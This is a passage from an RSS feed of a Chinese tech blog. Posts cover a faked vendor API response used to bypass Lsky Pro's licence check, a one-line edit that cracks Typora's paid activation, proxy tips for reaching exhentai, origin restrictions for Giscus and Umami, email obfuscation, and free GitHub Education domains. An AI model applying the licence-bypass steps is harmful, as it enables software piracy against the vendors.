\\u652f\\u6301\\u6613\\u652f\\u4ed8 V2 \\u7248\\u672c\\n- \\u591a\\u8d27\\u5e01\\u652f\\u6301\\n- \\u540e\\u53f0\\u7ba1\\u7406\\u56fd\\u9645\\u5316\\n- \\u524d\\u7aef\\u56fd\\u9645\\u5316\\n- \\u589e\\u52a0\\u9996\\u9875\\u3001\\u6388\\u6743\\u9875\\u9762\\u9ed8\\u8ba4\\u80cc\\u666f\\u56fe\\n\\n### \\u6539\\u8fdb\\n- \\u91cd\\u65b0\\u8bbe\\u8ba1\\u652f\\u4ed8\\u7cfb\\u7edf\\n- \\u5b8c\\u5584 404 \\u9875\\u9762\\n- \\u6539\\u8fdb docker \\u90e8\\u7f72\\u65b9\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u8fc1\\u79fb\\u811a\\u672c\\u6ca1\\u6709\\u7b56\\u7565\\u7684\\u56fe\\u7247\\u8fc1\\u79fb\\u4f1a\\u51fa\\u73b0\\u5931\\u8d25\\u7684 bug\\n- \\u4fee\\u590d\\u672a\\u9009\\u62e9\\u89d2\\u8272\\u7ec4\\u7684\\u5957\\u9910\\u652f\\u4ed8\\u51fa\\u73b0\\u5931\\u8d25\\u7684 bug","pushed_at":"2024-12-14","milestone":"beta","download_url":null},{"logo":"products\\/lsky-pro.png","name":"V 2.1.1 \\u5185\\u6d4b\\u7248\\u672c","version":"2.1.1.241130_alpha","changelog":"### \\u65b0\\u589e\\n- \\u540e\\u53f0\\u589e\\u52a0\\u9996\\u9875\\u5feb\\u6377\\u5165\\u53e3\\n- \\u589e\\u52a0\\u5b89\\u88c5\\u811a\\u672c\\n- \\u9002\\u914d mysql 5.7\\n- \\u4e91\\u5904\\u7406\\u652f\\u6301\\u8bbe\\u7f6e\\u9884\\u8bbe\\u7248\\u672c\\n- \\u4e91\\u5904\\u7406\\u652f\\u6301\\u5b9a\\u4e49\\u53ef\\u4f7f\\u7528\\u7684\\u53c2\\u6570\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u6837\\u5f0f\\n- \\u56fe\\u7247\\u5904\\u7406\\u5b8c\\u540e\\u53ca\\u65f6\\u91ca\\u653e\\u5185\\u5b58\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u7528\\u6237\\u65e0\\u6cd5\\u6ce8\\u518c\\u7684 bug\\n- \\u4fee\\u590d\\u9664\\u672c\\u5730\\u50a8\\u5b58\\u4ee5\\u5916\\u7684\\u50a8\\u5b58\\u65e0\\u6cd5\\u521b\\u5efa\\u7684 bug","pushed_at":"2024-11-30","milestone":"alpha","download_url":null},{"logo":"products\\/lsky-pro.png","name":"V 2.1.0 \\u5185\\u6d4b\\u7248\\u672c","version":"2.1.0.241117_alpha","changelog":"### \\u65b0\\u589e\\n- \\u56fe\\u7247\\u7ba1\\u7406\\u652f\\u6301\\u53f3\\u952e\\u64cd\\u4f5c\\n- \\u7ba1\\u7406\\u5458\\u524d\\u7aef\\u652f\\u6301\\u663e\\u793a\\u540e\\u53f0\\u7ba1\\u7406\\u5165\\u53e3\\n- \\u589e\\u52a0\\u8fdd\\u89c4\\u56fe\\u7247\\u8f6c\\u79fb\\u76ee\\u5f55\\u529f\\u80fd\\n- \\u6539\\u8fdb\\u540e\\u53f0\\u56fe\\u7247\\u8be6\\u60c5\\u6837\\u5f0f\\n- \\u5ba1\\u6838\\u9a71\\u52a8\\u652f\\u6301\\u540c\\u6b65\\u5ba1\\u6838\\n- \\u65b0\\u589e\\u56fe\\u7247\\u5904\\u7406\\u5668\uff0c\\u5e76\\u652f\\u6301\\u540c\\u6b65\\u5904\\u7406\\u56fe\\u7247\\n\\n### \\u4f18\\u5316\\n- \\u4f18\\u5316\\u540e\\u53f0\\u63a7\\u5236\\u53f0\\u56fe\\u8868\\u663e\\u793a\\n- \\u589e\\u52a0\\u7b26\\u53f7\\u94fe\\u63a5\\u76f8\\u5173\\u51fd\\u6570\\u7684\\u5b89\\u88c5\\u9a8c\\u8bc1\\n- \\u50a8\\u5b58\\u9a71\\u52a8\\u652f\\u6301\\u76f4\\u63a5\\u521b\\u5efa\\u6839\\u76ee\\u5f55\\u3001\\u4e91\\u50a8\\u5b58\\u76ee\\u5f55\\n- \\u6539\\u8fdb\\u540e\\u53f0\\u7528\\u6237\\u521b\\u5efa\\u4e0e\\u7f16\\u8f91\\n- \\u6539\\u8fdb\\u524d\\u7aef\\u5de5\\u7a0b\\u6253\\u5305\\u811a\\u672c\\n- \\u6539\\u8fdb\\u6587\\u672c\\u590d\\u5236\\u65b9\\u6cd5\\n- \\u5c06\\u6dfb\\u52a0\\u6807\\u7b7e\\u529f\\u80fd\\u79fb\\u52a8\\u5230\\u7f16\\u8f91\\u5f39\\u7a97\\u4e2d\\n- \\u4e0a\\u4f20\\u7ec4\\u4ef6\\u8fd4\\u56de\\u94fe\\u63a5\\u540e\uff0c\\u540c\\u65f6\\u663e\\u793a\\u5bf9\\u5e94\\u7684\\u56fe\\u7247\\n- \\u5c06\\u50a8\\u5b58\\u9a71\\u52a8\\u548c\\u4e91\\u5904\\u7406\\u72ec\\u7acb\\u5206\\u5f00\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u89d2\\u8272\\u7ec4\\u65e0\\u6cd5\\u521b\\u5efa\\u7684 bug\\n- \\u4fee\\u590d\\u7528\\u6237\\u7ba1\\u7406\\u65e0\\u6cd5\\u4fee\\u6539\\u624b\\u673a\\u53f7\\u7684 bug\\n- \\u4fee\\u590d\\u521b\\u5efa\\u5206\\u4eab\\u672a\\u8bbe\\u7f6e\\u5bc6\\u7801\\u4f1a\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u5206\\u4eab\\u5185\\u5bb9\\u4e0d\\u663e\\u793a\\u7684 bug\\n- \\u4fee\\u590d\\u5206\\u4eab\\u5185\\u5bb9\\u7684\\u7528\\u6237\\u5934\\u50cf\\u4e0d\\u663e\\u793a\\u7684 bug\\n- \\u4fee\\u590d 0 \\u5143\\u8ba2\\u5355\\u65e0\\u6cd5\\u76f4\\u63a5\\u652f\\u4ed8\\u7684 bug\\n- \\u4fee\\u590d\\u9996\\u9875\\u5bb9\\u91cf\\u663e\\u793a\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u9a8c\\u8bc1\\u90ae\\u7bb1\\u65f6\uff0c\\u63d0\\u793a\\u90ae\\u7bb1\\u683c\\u5f0f\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u9a8c\\u8bc1\\u624b\\u673a\\u53f7\\u65f6\uff0c\\u63d0\\u793a\\u624b\\u673a\\u53f7\\u683c\\u5f0f\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u8bbf\\u95ee\\u9996\\u9875\uff0c\\u63a7\\u5236\\u53f0\\u663e\\u793a CryptoJS \\u5f15\\u5165\\u9519\\u8bef\\u7684 bug\\n- \\u4fee\\u590d\\u8ba2\\u5355\\u652f\\u4ed8\\u540e\uff0c\\u72b6\\u6001\\u6ca1\\u6709\\u53d8\\u66f4\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u7f16\\u8f91\\u5f39\\u7a97\uff0c\\u663e\\u793a\\u5185\\u5bb9\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u90ae\\u4ef6\\u65e0\\u6cd5\\u53d1\\u9001\\u7684 bug\\n- \\u4fee\\u590d\\u521b\\u5efa\\u9875\\u9762\\u65f6\\u6807\\u9898\\u62a5\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u4fa7\\u8fb9\\u680f\\u8fdb\\u5ea6\\u6761\\u663e\\u793a\\u4e0d\\u6b63\\u786e\\u7684 bug","pushed_at":"2024-11-17","milestone":"alpha","download_url":null},{"logo":"products\\/lsky-pro.png","name":"V 2.0.1 \\u5185\\u6d4b\\u7248\\u672c","version":"2.0.1.241108_alpha","changelog":"&gt; \\u5168\\u65b0\\u7248\\u672c\uff0c\\u5168\\u65b0\\u67b6\\u6784\\u3002V2 \\u7248\\u672c\\u662f\\u4e00\\u4e2a\\u5168\\u65b0\\u7684\\u4f7f\\u7528\\u524d\\u540e\\u7aef\\u5206\\u79bb\\u67b6\\u6784\\u5b8c\\u5168\\u91cd\\u5199\\u7684\\u7cfb\\u7edf\uff0c\\u4e3b\\u8981\\u6280\\u672f\\u6808\\u4f7f\\u7528 &lt;a target=\\"__blank\\" href=\\"https:\\/\\/laravel.com\\"&gt;Laravel 11&lt;\\/a&gt; + &lt;a target=\\"__blank\\" href=\\"https:\\/\\/cn.vuejs.org\\"&gt;Vue 3&lt;\\/a&gt;\uff0c\\u4e0e\\u65e7\\u7248\\u672c\\u5bf9\\u6bd4\\u5b58\\u5728\\u5de8\\u5927\\u5dee\\u5f02\uff0c\\u8bf7\\u52ff\\u7528\\u4e8e\\u751f\\u4ea7\\u73af\\u5883\uff01\\n\\n- \\u4f7f\\u7528 &lt;a target=\\"__blank\\" href=\\"https:\\/\\/filamentphp.com\\"&gt;filamentphp&lt;\\/a&gt; \\u5b9e\\u73b0\\u540e\\u53f0\\u7ba1\\u7406\\u529f\\u80fd\\n- \\u4f7f\\u7528 &lt;a target=\\"__blank\\" href=\\"https:\\/\\/glide.thephpleague.com\\"&gt;Glide&lt;\\/a&gt; \\u5b9e\\u73b0\\u56fe\\u7247\\u4e91\\u5904\\u7406\\u529f\\u80fd\\n- \\u4f7f\\u7528 &lt;a target=\\"__blank\\" href=\\"https:\\/\\/uppy.io\\"&gt;Uppy.js&lt;\\/a&gt; \\u5b9e\\u73b0\\u4e0a\\u4f20\\u9875\\u9762\uff0c\\u66f4\\u5177\\u53ef\\u9760\\u6027\\n- \\u652f\\u6301 Docker \\u90e8\\u7f72(\\u5b9e\\u9a8c\\u6027)\\n- \\u652f\\u6301 Smtp\\u3001Mailgun\\u3001Postmark\\u3001Ses \\u56db\\u79cd\\u90ae\\u4ef6\\u53d1\\u9001\\u9a71\\u52a8\\n- \\u652f\\u6301 \\u672c\\u5730\\u3001AWS S3\\u3001\\u963f\\u91cc\\u4e91 OSS\\u3001\\u817e\\u8baf\\u4e91 COS\\u3001\\u4e03\\u725b\\u4e91 Kodo\\u3001\\u53c8\\u62cd\\u4e91 USS\\u3001Sftp\\u3001Ftp\\u3001Webdav \\u50a8\\u5b58\\u9a71\\u52a8\\n- \\u652f\\u6301 \\u7528\\u6237\\u624b\\u673a\\u53f7\\u7ed1\\u5b9a\\u3001\\u767b\\u5f55\\u3001\\u627e\\u56de\\u5bc6\\u7801\\n- \\u652f\\u6301 \\u817e\\u8baf\\u4e91 SMS\\u3001Ucloud\\u3001\\u4e03\\u725b\\u4e91\\u3001SendCloud\\u3001\\u963f\\u91cc\\u4e91\\u3001\\u4e91\\u7247\\u3001Submail\\u3001\\u87ba\\u4e1d\\u5e3d\\u3001\\u5bb9\\u8054\\u4e91\\u901a\\u8baf\\u3001\\u7b49\\u591a\\u8fbe 30+ \\u7684\\u77ed\\u4fe1\\u7f51\\u5173\\n- \\u652f\\u6301 \\u652f\\u4ed8\\u5b9d\\u3001\\u5fae\\u4fe1\\u3001Paypal \\u4e09\\u79cd\\u652f\\u4ed8\\u9a71\\u52a8\\n- \\u652f\\u6301 \\u963f\\u91cc\\u4e91\\u5185\\u5bb9\\u5b89\\u5168 1.0\\u3001\\u963f\\u91cc\\u4e91\\u5185\\u5bb9\\u5b89\\u5168\\u589e\\u5f3a\\u7248\\u3001\\u817e\\u8baf\\u4e91\\u5185\\u5bb9\\u5b89\\u5168\\u3001Nsfw JS\\u3001ModerateContent \\u56db\\u79cd\\u56fe\\u7247\\u5ba1\\u6838\\u9a71\\u52a8\\n- \\u652f\\u6301 QQ\\u3001Github \\u7b2c\\u4e09\\u65b9\\u6388\\u6743\\u767b\\u5f55\\u9a71\\u52a8\\n- \\u652f\\u6301 \\u6df1\\u8272\\/\\u6d45\\u8272\\u4e3b\\u9898\\u3001\\u9002\\u914d\\u4e09\\u65b9\\u4e3b\\u9898\\n- \\u652f\\u6301 \\u5bc6\\u7801\\u5206\\u4eab(\\u5355\\u4e2a\\u76f8\\u518c\\u3001\\u591a\\u4e2a\\u56fe\\u7247)\\n- \\u6570\\u636e\\u5e93\\u9ed8\\u8ba4\\u4f7f\\u7528 sqlite\uff0credis \\u6539\\u4e3a\\u53ef\\u9009\\u914d\\u7f6e\\u9879\uff0c\\u53d6\\u6d88\\u8ba1\\u5212\\u4efb\\u52a1\\u914d\\u7f6e\\n- \\u4f1a\\u5458\\u5957\\u9910\\u3001\\u5bb9\\u91cf\\u5957\\u9910\\u5206\\u5f00\\u8bbe\\u7f6e\uff0c\\u8d2d\\u4e70\\u7684\\u5957\\u9910\\u652f\\u6301\\u5220\\u9664\\n- \\u7cfb\\u7edf\\u652f\\u6301\\u7684\\u56fe\\u7247\\u683c\\u5f0f\\u7531 ImageImagick \\u5e93\\u51b3\\u5b9a","pushed_at":"2024-11-08","milestone":"alpha","download_url":null}]`;
|
||
|
||
const headers = new Headers({
|
||
'Content-Type': 'application/json',
|
||
'Content-Length': '30872',
|
||
'Strict-Transport-Security': 'max-age=31536000',
|
||
'Alt-Svc': 'h3=":443"; ma=86400',
|
||
'Vary': 'Accept-Encoding',
|
||
'Cache-Control': 'max-age=0, must-revalidate, no-cache, no-store, private',
|
||
'Pragma': 'no-cache',
|
||
'Expires': 'Fri, 01 Jan 1990 00:00:00 GMT',
|
||
'Access-Control-Allow-Origin': '*',
|
||
'X-Cache': 'MISS',
|
||
'Server': 'WAFPRO'
|
||
});
|
||
|
||
// 使用当前日期作为响应日期
|
||
const currentDate = new Date().toUTCString();
|
||
headers.set('Date', currentDate);
|
||
|
||
return new Response(jsonContent, {
|
||
status: 200,
|
||
statusText: 'OK',
|
||
headers: headers
|
||
});
|
||
}
|
||
</code></pre>
|
||
<p>自建结束后将 <code>config/app.php</code> 内的 <code>服务接口地址</code> 改为你的。就不需要每次安装都手动改响应包了</p>
|
||
<pre><code> /**
|
||
* 服务接口地址
|
||
*/
|
||
'service_api' =&gt; env('APP_SERVICE_API', 'https://huohuastudio.com'),
|
||
</code></pre>
|
||
</content:encoded></item><item><title>Typora免付费激活</title><link>https://blog.acofork.com/posts/hack-typora/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hack-typora/</guid><description>Typora是一个简洁易用(?)的MarkDown编辑器,不想交钱?改几行文件就破解!</description><pubDate>Fri, 15 Aug 2025 00:00:00 GMT</pubDate><content:encoded><p>进入 <a href="https://typoraio.cn/">Typora 官方中文站</a></p>
|
||
<p>下载并安装,假设你的安装路径为 <code>D:/App/Typora</code></p>
|
||
<p>关闭所有Typora相关进程</p>
|
||
<p>用VSCode打开 <code>D:/App/Typora</code></p>
|
||
<p>全局搜索,将</p>
|
||
<pre><code>e.hasActivated="true"==e.hasActivated
|
||
</code></pre>
|
||
<p>改为</p>
|
||
<pre><code>e.hasActivated="true"==“true”
|
||
</code></pre>
|
||
<p>打开 Typora,已激活</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-20-21-08-22-image.CcCGxapD.png" alt="" /></p>
|
||
</content:encoded></item><item><title>atpx.com 一个有趣的神秘博客</title><link>https://blog.acofork.com/posts/atpx-fun-blog/</link><guid isPermaLink="true">https://blog.acofork.com/posts/atpx-fun-blog/</guid><description>今天在床上打滚突然找到一个神秘博客,还挺有意思的</description><pubDate>Wed, 13 Aug 2025 18:41:24 GMT</pubDate><content:encoded><p>今天偶然找到一个神秘博客,还挺有意思的,于是捐了 100 CNY</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-13-18-48-58-e042214c625c78682e337f4863bdcb20.BD1yvVeC.jpg" alt="" /></p>
|
||
<p>至于是咋找到这个博客的?</p>
|
||
<p>请看VCR</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-13-18-50-12-image.CNQMRtYz.png" alt="" /></p>
|
||
<p>然后我就发现了这个宝藏博客</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-13-18-50-48-image.BOkGKVAx.png" alt="" /></p>
|
||
<p>也许是封面图比较吸引人又或是文章内容行云流水十分丰富?</p>
|
||
<p>我不知道,总之我看了下去</p>
|
||
<p>陆陆续续读了不少</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-13-18-51-51-image.DId_rPSR.png" alt="" /></p>
|
||
<p>然后发现作者在当前的版本已经完全删除了JavaScript <s>我有一个朋友天天说HTML表单能替代JS</s></p>
|
||
<p>也算是引起了共鸣吧</p>
|
||
<p>于情于理都得支持一下</p>
|
||
<p>就到这,我也不知道该写啥了,我是一个喜欢直来直去的人,真文艺不起来了</p>
|
||
</content:encoded></item><item><title>手把手教你进入e站里站(exhentai.org)</title><link>https://blog.acofork.com/posts/exhentai/</link><guid isPermaLink="true">https://blog.acofork.com/posts/exhentai/</guid><description>上周也是突然想到e站这个神奇的网站,但是2年的账号居然进不了里站,这里总结一些进里站的心路历程~</description><pubDate>Tue, 12 Aug 2025 19:10:40 GMT</pubDate><content:encoded><h1>前期准备</h1>
|
||
<ul>
|
||
<li>欧美家宽IP。可以前往 https://2x.nz/ak 买一个</li>
|
||
</ul>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-12-19-24-21-image.BAwoODIE.png" alt="" /></p>
|
||
<h1>正式开始</h1>
|
||
<p>挂上你的美国家宽梯子</p>
|
||
<p>进入 <a href="https://forums.e-hentai.org/">E-Hentai Forums</a></p>
|
||
<p>点击 <code>Register</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-12-19-26-33-image.0O52IIC9.png" alt="" /></p>
|
||
<p>注册邮箱使用 <code>gmail.com</code></p>
|
||
<blockquote>
|
||
<p>exhentai能不能进是账号创建的时候就决定的!一定要让平台认为你是美国家宽用户!</p>
|
||
</blockquote>
|
||
<p>注册完毕后等大约一周(我是 2025-08-03注册的,2025-08-12已经可以进了),期间想干什么就干什么</p>
|
||
<p>一周之后,使用 <strong>浏览器的无痕模式+英语界面</strong> 再次进入 <a href="https://forums.e-hentai.org/">E-Hentai Forums</a> 登录</p>
|
||
<p>然后前往 https://exhentai.org/</p>
|
||
<p>不出意外,成功进来</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-12-19-29-10-image.DJqFUm-r.png" alt="" /></p>
|
||
<p>接下来F12打开控制台</p>
|
||
<p>保存Ck以便日后登录(就无需那个傻逼美国家宽了)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-12-19-30-42-image.acNmJqd_.png" alt="" /></p>
|
||
</content:encoded></item><item><title>你是我吗?</title><link>https://blog.acofork.com/posts/you-is-me-huh/</link><guid isPermaLink="true">https://blog.acofork.com/posts/you-is-me-huh/</guid><description>博客开源了就会有很多小笨蛋Fork完改也改不全,导致评论也评论到我这来了,浏览量统计也来我这来了😅</description><pubDate>Tue, 12 Aug 2025 15:43:18 GMT</pubDate><content:encoded><h1>前情提要</h1>
|
||
<p>今天收到一封小邮件</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-12-15-45-18-image.Bfi_hNae.png" alt="" /></p>
|
||
<p>我一眼就看出来了</p>
|
||
<p>有人Fork完我的仓库但是Giscus评论区没改成自己的。</p>
|
||
<h1>Giscus仅允许自己</h1>
|
||
<p>在启用了Giscus的仓库放一个文件</p>
|
||
<pre><code>&lt;!-- giscus.json --&gt;
|
||
{
|
||
"origins": ["https://2x.nz"]
|
||
}
|
||
</code></pre>
|
||
<p>这样设置后,即使有人在它的网站上引入了<strong>你的评论区</strong>,也会被拒绝显示</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-12-15-48-23-image.JuSW_HPl.png" alt="" /></p>
|
||
<h1>Umami仅允许自己</h1>
|
||
<p>我博客有一个浏览量统计,基于Umami,之前是没鉴权的,如果你啥也不改,访问你的网站也会记到我网站上😅</p>
|
||
<p>Umami并没有给配置来更改CORS(毕竟这个访问量统计是我逆向出来的)</p>
|
||
<p>但是我的Umami套了EO,我可以直接写一套CORS规则仅允许自己调用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-12-15-50-25-image.B8mkYiI2.png" alt="" /></p>
|
||
<p>这样的话,即使你啥也不改,也不会把错误的统计信息发到我这,会报错CORS头不允许</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-12-15-51-04-image.C1kuIbm0.png" alt="" /></p>
|
||
<h1>最后</h1>
|
||
<p>开源是为了让大家更好的学习我的博客框架,不是让你照搬,请确认将所有内容、API端点、私有服务全部改为自己的后再上线!</p>
|
||
<p>你要是懒可以Fork<a href="https://github.com/saicaca/fuwari">上游原仓库</a>从白纸开始<a href="/posts/fuwari/">改</a></p>
|
||
</content:encoded></item><item><title>通过邮件混淆技术增强博客隐私</title><link>https://blog.acofork.com/posts/email-privacy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/email-privacy/</guid><description>利用 rehype-email-protection 插件自动混淆电子邮件地址,保护免受垃圾邮件爬虫侵害的技术实现</description><pubDate>Tue, 12 Aug 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>本文非站长原创,由 https://github.com/afoim/fuwari/pull/31 提供</p>
|
||
</blockquote>
|
||
<h2>背景</h2>
|
||
<p>在网页上直接暴露电子邮件地址,会使其极易受到垃圾邮件机器人的自动抓取。为了解决这一隐私和安全问题,可以采用邮件地址混淆技术。</p>
|
||
<p>在提交 <code>0cc6194f35b3ff4ab53718fd98022b17ac522303</code> 中,项目引入了 <code>rehype-email-protection</code> 插件来应对此问题。</p>
|
||
<h2>技术方案:<code>rehype-email-protection</code></h2>
|
||
<p><code>rehype-email-protection</code> 是一个 Rehype 插件,它能在网站内容处理流程中自动识别并混淆电子邮件地址。</p>
|
||
<h3>配置实现</h3>
|
||
<p>该功能通过在 <code>astro.config.mjs</code> 文件中进行配置来启用。</p>
|
||
<p>首先,导入插件模块:</p>
|
||
<pre><code>import rehypeEmailProtection from "./src/plugins/rehype-email-protection.mjs";
|
||
</code></pre>
|
||
<p>然后,在 Astro 配置的 <code>rehypePlugins</code> 数组中添加该插件,并指定 <code>base64</code> 作为混淆方法。</p>
|
||
<pre><code>markdown: {
|
||
rehypePlugins: [
|
||
// ... 其他插件
|
||
[rehypeEmailProtection, { method: "base64" }],
|
||
// ... 其他插件
|
||
],
|
||
},
|
||
</code></pre>
|
||
<h3>工作机制</h3>
|
||
<p>配置生效后,内容中所有标准的电子邮件地址(如 <code>user@example.com</code>)在网站构建过程中,都会被转换为 Base64 编码的字符串,并通过客户端 JavaScript 进行解码。</p>
|
||
<p>对于普通用户,浏览器会执行脚本将编码还原为可交互的 <code>mailto:</code> 链接,功能体验不变。而对于无法执行 JavaScript 的网络爬虫,它们只能获取到编码后的无意义字符串,从而达到了保护电子邮件地址不被轻易收集的目的。</p>
|
||
<h2>结论</h2>
|
||
<p>集成 <code>rehype-email-protection</code> 插件是一种简单而有效的隐私增强手段。它以极低的配置成本,显著降低了因在公开网页上暴露电子邮件地址而导致的安全风险,是静态网站开发中值得推荐的一个实践。</p>
|
||
<p>引流:www.497995.xyz 树树放过我😭😭</p>
|
||
</content:encoded></item><item><title>我去!GithubEdu还能再再再嫖俩免费一年域名?!</title><link>https://blog.acofork.com/posts/ghedu-free-name/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ghedu-free-name/</guid><description>也是依旧在群u的帮助下又捞了俩米!</description><pubDate>Mon, 11 Aug 2025 23:04:10 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>前往 <a href="https://education.github.com/pack">GitHub 学生开发者包 - GitHub Education</a></p>
|
||
<p>往下滚动 找到</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-05-40-107c27403a989dddcdd101180ee13509.Bdv8v17M.png" alt="" /></p>
|
||
<p>点击登录并验证你的学生身份</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-05-55-72bea2d54c200e08fa652d3997adcf06.CYuOJohL.png" alt="" /></p>
|
||
<p>短域名也有免费的!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-06-11-e4fe0a62548c9c69d32cb2a79176a52b.CUv8x0CJ.png" alt="" /></p>
|
||
<p>长域名更是不在话下!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-06-23-b45ebff5a8fe5214bb0291d77cb3fa1e.CzBrbT5U.png" alt="" /></p>
|
||
<p>但是最终结账的时候只能免费<strong>两个</strong>域名哦~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-06-43-e67a6d8837878e07ef1b2bb5b8cb4d11.DMAAzGm8.png" alt="" /></p>
|
||
<p>需要绑卡验证,扣0.00元。Bybit虚拟卡可用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-07-06-bfaade641dbd1c125301195d4ad28bed.DEn3MxXk.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-07-10-bdd91d31b4c3c388555faad961924cc0.B67ulOTn.jpg" alt="" /></p>
|
||
<p>等待跑进度条~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-07-39-ea95cc5fbfc9ac8fcec2f90614d49d6a.5va6bTGP.png" alt="" /></p>
|
||
<p>接下来老生常谈的改NS到Cloudflare</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-07-56-85434553c9304a3f0a0ccc10accbef01.DnTiR5Pr.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-08-01-bd48e80dafba30f3e4a98a6bcae3f04e.msV9quTh.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-08-05-6ae9ce6c4cc5332003ac8101653477b7.2erY6_8x.png" alt="" /></p>
|
||
<p>成功激活~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-23-08-13-6ceb145115731817f2738c711359dc3f.CvmlvRGT.png" alt="" /></p>
|
||
</content:encoded></item><item><title>wow!有GithubEdu资格?再嫖一个免费一年的.me域名!</title><link>https://blog.acofork.com/posts/ghedu-free-me/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ghedu-free-me/</guid><description>在群u的提醒下,发现除了.tech,还能再嫖一个米~</description><pubDate>Mon, 11 Aug 2025 22:37:55 GMT</pubDate><content:encoded><blockquote>
|
||
<p>请先通过<a href="/posts/github-edu/">这篇文章</a>拿到Github Edu~</p>
|
||
</blockquote>
|
||
<p>前往 <a href="https://education.github.com/pack">GitHub 学生开发者包 - GitHub Education</a></p>
|
||
<p>往下滚直到找到这个</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-40-15-747b62efa69a5b34182a68ac4c7130cb.C95MVNS1.png" alt="" /></p>
|
||
<p>点击这里</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-40-31-image.CYBLVVxN.png" alt="" /></p>
|
||
<p>进行Github授权</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-40-48-5e092849ebad203968bd801ad2d4534a.CRQLB_sn.png" alt="" /></p>
|
||
<p>成功验证学生资格咯~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-41-00-703f88997e8c2281f2a473e03a19a061.DlvbtUyN.png" alt="" /></p>
|
||
<p>选一个你喜欢的 .me 域名,然后加入购物车(FREE!)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-41-21-0a5f5a19e86e622f923b2ca7ec2d0a1e.D94s_DYJ.png" alt="" /></p>
|
||
<p>勾上Github Page,填上你的Github邮箱</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-41-48-1812c773c7f4044f2705f565dfb443bc.BZDbzoZV.png" alt="" /></p>
|
||
<p>接下来登录使用Github邮箱注册的号,没有号就注册一个!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-42-19-b6c04a5c6d9c66e729c54d9f66c2ef44.RaY41u8l.png" alt="" /></p>
|
||
<p>完成订单咯~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-42-33-8b2edf1503f41426c60a0218c87b8ae5.C_dalTs_.png" alt="" /></p>
|
||
<p>在控制台将NS转到Cloudflare!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-42-47-5a59c356ad54788f34f0cfee2428853b.B7GQ-4dp.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-42-52-dcbcc938cbfaaade3d7a98538af3a26a.BkU4qQ0K.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-42-56-de9a3668c84d4209aa997c643711befb.Dz7OxVTj.png" alt="" /></p>
|
||
<p>NameCheap的NS传播似乎有些慢,等等咯~</p>
|
||
<p>半小时后有咯~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-11-22-54-37-image.CPLcw1_W.png" alt="" /></p>
|
||
</content:encoded></item><item><title>有Github Education?来嫖一年免费的.tech域名!</title><link>https://blog.acofork.com/posts/ghedu-free-tech/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ghedu-free-tech/</guid><description>昨天也是成功通过了Github Edu验证,发现可以白嫖一年免费的.tech域名!</description><pubDate>Mon, 11 Aug 2025 21:45:08 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>请先通过<a href="/posts/github-edu/">这篇文章</a>拿到Github Edu~</p>
|
||
</blockquote>
|
||
<p>然后前往 <a href="https://education.github.com/pack">GitHub Student Developer Pack - GitHub Education</a></p>
|
||
<p>一直往下滚,直到找到 .tech 字样的项目,点击蓝色链接进入</p>
|
||
